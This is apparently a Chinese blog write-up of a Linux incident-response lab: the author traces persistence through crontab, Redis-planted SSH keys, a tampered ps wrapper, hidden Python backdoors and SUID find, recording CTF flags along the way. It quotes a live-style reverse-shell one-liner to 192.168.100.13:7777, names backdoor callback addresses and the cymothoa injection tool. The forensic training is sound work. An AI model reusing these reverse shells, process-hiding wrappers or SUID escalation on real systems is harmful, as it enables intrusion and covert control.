我们可以查看一下当前用户的定时任务那一些,如果黑客通过定时任务(cron job)进行持久化攻击,他们可能会在 crontab 中留下定时执行的恶意脚本、命令或反弹 shell 的配置。因此,通过检查 crontab -l,很可能会发现黑客设置的定时任务,从而找到恶意活动的迹象。
crontab -l
这段 crontab -l 输出显示了一个高度可疑的定时任务,很可能是服务器被入侵后植入的恶意反向 shell 脚本,具体分析如下所示,并且通过分析知道这是典型的服务器被入侵的证据,攻击者通过定时任务每分钟尝试建立反向连接,以维持对服务器的控制。

核心含义
*/1 * * * *:表示每分钟执行一次后面的命令(频率极高,典型的恶意行为特征)。
命令部分 /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1 是一个反向 shell:
/bin/sh -i:启动一个交互式的 shell。
/dev/tcp/192.168.100.13/7777:尝试连接 192.168.100.13 这台主机的 7777 端口(攻击者控制的 IP 和端口)。
>& 和 0>&1:将当前 shell 的输入、输出、错误流重定向到上述连接,使攻击者能远程控制这台服务器(获取交互式命令行权限)。
黑客ip即为flag{192.168.100.13}
1.4
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
需要知道两点是
Redis 配置:黑客利用 Redis 的未授权访问或其他漏洞,将自己的公钥写入了服务器的 ~/.ssh/authorized_keys 文件中,从而可以使用 SSH 公钥验证进行登录。
登录日志:SSH 登录日志通常会显示使用的验证方式。虽然在提供的日志中没有明确显示公钥验证,但结合 Redis 被利用的情况,可以推测黑客可能通过这种方式获取了访问权限。
查看root是否有.ssh文件存在;
ls -la
可以发现了一个.ssh文件,可以通过打开.ssh文件夹发现了一个key说明就是公钥

用户名xj-test-user,做到这里就可以了,后面是这是个github的用户,写了一个redisgetshell的脚本,里面有个字符串

通过合并得知flag为flag{xj-test-user-wow-you-find-flag}
1.5
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
让我们分析篡改的命令,这个时候如果没有头绪,可以直接一个一个流程走下去为:(审查系统日志,审查命令历史,检查文件完整性,分析系统文件的时间戳和哈希值,检查系统路径中的命令,扫描系统和进程,分析网络流量和连接,检查定时任务和启动项,审查日志文件)
这边不走流程了命令应该就在/usr/bin下找通过搜查ps文件的时候发现了问题。
#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
echo -e "$v\t";
done
IFS="$oldifs"
#//c195i2923381905517d818e313792d196
这段脚本是用来调用名为ps_的命令,并对其输出进行处理和过滤。
脚本解析:
#!/bin/bash 表示这是一个 Bash 脚本,用来执行后续的命令。
oldifs=”$IFS”:保存旧的字段分隔符(IFS)值。 IFS=’$n’:设置新的字段分隔符为$n(这里可能是一个笔误,正常应该是换行符\n,但写法上看起来可能是在尝试定义一个特殊分隔符)。
result=$(ps_ $1 $2 $3|grep -v ‘threadd’ ):执行 ps_ 命令,并使用 grep 命令过滤掉包含’threadd’的行,将结果存储在 result 变量中。 for v in $result;:对 $result 中的每个变量 v 进行循环处理。 echo -e “$v\t”;:输出每个变量 v,并在末尾添加一个制表符。
IFS=”$oldifs”:恢复原始的字段分隔符设置。
#//c195i2923381905517d818e313792d196:可能是用来标记或识别版本或修改的一部分。
提交注释部分发现flag正确
第三章 权限维持-linux权限维持-隐藏
1.1
黑客隐藏的隐藏的文件 完整路径md5
常见的权限维持其实就是通过后门程序来进行,再加上后门程序一般会隐藏,首先就要想到去查找隐藏文件
find / -name ".*"
通过查找隐藏文件可以发现会有很多,但是这个属于是靶场所以我们可以看到一个英语单词libprocesshider这个单词翻译过来就是进程隐藏器。然后在进程隐藏器后面放了一个.git说明可能通过git仓库来管理。
既然提示这么明显了直接去该目录下查看就行
cd /tmp/.temp/libprocesshider/
ls -a

可以发现里面有一个shell.py和1.py以及一个.c文件我们都可以打开进行分析,通过分析可以知道1.py是一个这是一个典型的Python反向Shell后门程序,他的攻击类型为远程命令执行 + 持久化后门。
而.C文件是安装消息钩子和进行检测技术,就是检查硬盘大小和检查内核调试器是否在调制进程。但是他启动了一个1.py的程序。
最后则是shell.py这个脚本的目的是启动一个反弹 shell,将当前系统的命令行接口通过网络发送到远程服务器 172.16.10.7:2220,并在服务器上执行。这种行为通常被用来远程控制受害者的系统。
综上所述最后的绝对路径为/tmp/.temp/libprocesshider/1.py
也可以将这些程序都下载下来,丢到微步云沙箱中,直接进行分析会告诉你后门程序为1.py
1.2
黑客隐藏的文件反弹shell的ip+端口 {ip:port}
我们第一题已经将三个文件全部打开了所以我们知道了其中有两个文件是有ip信息的,一个是shell.py这个脚本的172.16.10.7:2220,一个是1.py这个脚本的114.114.114.121:9999
通过题目克知道是1.py所以flag{114.114.114.121:9999}
1.3
黑客提权所用的命令 完整路径的md5 flag{md5}
既然是要查看提权所用的命令那么直接去查具有suid的文件的位置就行了,一般情况suid的位置在/etc/passwd和/etc/sudoers
不过我们可以直接去搜索具有suid提权的位置
find / -perm -4000 -type f 2>/dev/null
和
find / -perm -u=s -type f 2>/dev/null
二选一即可
我就不截图了要不然blog加载速度太慢了,我直接将信息截取了
root@xuanji:/# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
我们查到了这些提权权限的需要特别注意一下find,因为find可以执行任意命令和脚本,这就表示会执行恶意代码,所以答案是/usr/bin/find

因为当一个程序被设置了SUID 权限(即-perm -u=s),普通用户执行该程序时,会临时获得程序所有者的权限(通常是 root 权限),find的 SUID 权限让它能以 root 身份执行命令,黑客通过参数执行高权限操作,从而实现从普通用户到 root 的权限提升。
1.4
黑客尝试注入恶意代码的工具完整路径md5
一般注入工具在会有很多在usr目录下,但是我并没有查到东西,发现了有一个/opt文件夹,这个文件夹通常用来存放附加的、第三方的、非系统自带的软件包。
所以我们到该目录下去查询,发现有一个隐藏文件,发现有cymothoa这个注入工具
那么该路径就是/opt/.cymothoa-1-beta/cymothoa
介绍一下cymothoa
Cymothoa 是一个用于 Linux 平台的后门注入工具。 它可以将恶意的 shellcode(后门代码) 注入到正在运行的进程中,从而让攻击者在目标机器上获得命令执行权限。
1.5
使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
使用命令运行那就应该是第一题所找到的那个文件,exec的值作为flag进行提交,先了解一下什么是exec的值
在 Linux 系统中,文件的权限信息通常通过 ls -l 命令查看。这个命令会显示文件的详细权限信息,包括是否可以执行某个文件。而在这个上下文中提到的 Exec,实际上是指 文件的执行权限。
先运行文件
python3 /tmp/.temp/libprocesshider/1.py
netstat -pantu

如果前面不敢确定ip到底是多少,现在就可以清晰的知道ip是多少了
which python3
ls -la /usr/bin/python3
查找命令的位置,也就是查找py3的位置,再通过ls -la查询列出当前目录下的 所有文件和子目录,并显示详细的权限、所有者、大小等信息。所以答案为flag{/usr/bin/python3.4}
